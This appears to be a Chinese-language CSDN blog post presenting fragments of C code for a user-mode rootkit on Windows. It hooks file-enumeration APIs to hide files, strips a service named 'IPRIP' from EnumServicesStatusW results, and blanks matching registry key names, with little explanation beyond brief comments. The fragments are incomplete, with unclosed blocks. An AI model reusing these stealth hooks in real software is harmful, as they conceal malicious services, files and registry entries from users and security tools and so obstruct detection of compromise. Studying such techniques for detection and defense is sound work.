ring3 hide file reg service

最新推荐文章于 2021-04-02 12:37:43 发布

iiprogram

最新推荐文章于 2021-04-02 12:37:43 发布

阅读量1.1k

点赞数

分类专栏： windows底层核心編程文章标签： service file hook

本文链接：https://blog.csdn.net/iiprogram/article/details/2841811

版权

windows底层核心編程专栏收录该内容

743 篇文章 18 订阅

订阅专栏

//老东西了，贴点主要代码
//隐藏文件,hook FindFirstFileW,FindNextFileW
BOOL bBreak = FALSE;
while(wcsnicmp((WCHAR *)lpFindFileData->cFileName,strHideFile,wcslen(strHideFile))==0)
{
   bBreak = Old_FindNextFileW(hFind,lpFindFileData);
   if(bBreak == FALSE)
    break;
}
while(wcsnicmp((WCHAR *)lpFindFileData->cFileName,strHideFile,wcslen(strHideFile))==0)
{
   bReturn = Old_FindNextFileW(hFindFile,lpFindFileData);
   if(bReturn == FALSE)
    break;
}

//隐藏服务,hook EnumServicesStatusW
// 将服务从队列中脱去,实现隐藏
for (DWORD dwIndex = 0;dwIndex < *lpServicesReturned; dwIndex ++)
{
   if (wcsnicmp(lpServices[dwIndex].lpServiceName,L"IPRIP",wcslen(L"IPRIP")) == 0)
        //if (wcsnicmp(lpServices[dwIndex].lpServiceName,strHideFile,wcslen(strHideFile)) == 0)
   {
    //向前移动服务列表缓冲区
            if (dwIndex < (*lpServicesReturned) - 1)
    {
     memmove(&lpServices[dwIndex],&lpServices[dwIndex+1],
      sizeof(ENUM_SERVICE_STATUSA)*(*lpServicesReturned - dwIndex - 1));
                (*lpServicesReturned)--;
            }
    else
    {
    }
//
//隐藏注册表,hook RegEnumKeyExW,RegEnumKeyW
if (wcsnicmp(lpName,L"IPRIP",wcslen(L"IPRIP")) == 0)
{
   memset(lpName,0,*lpcbName);
}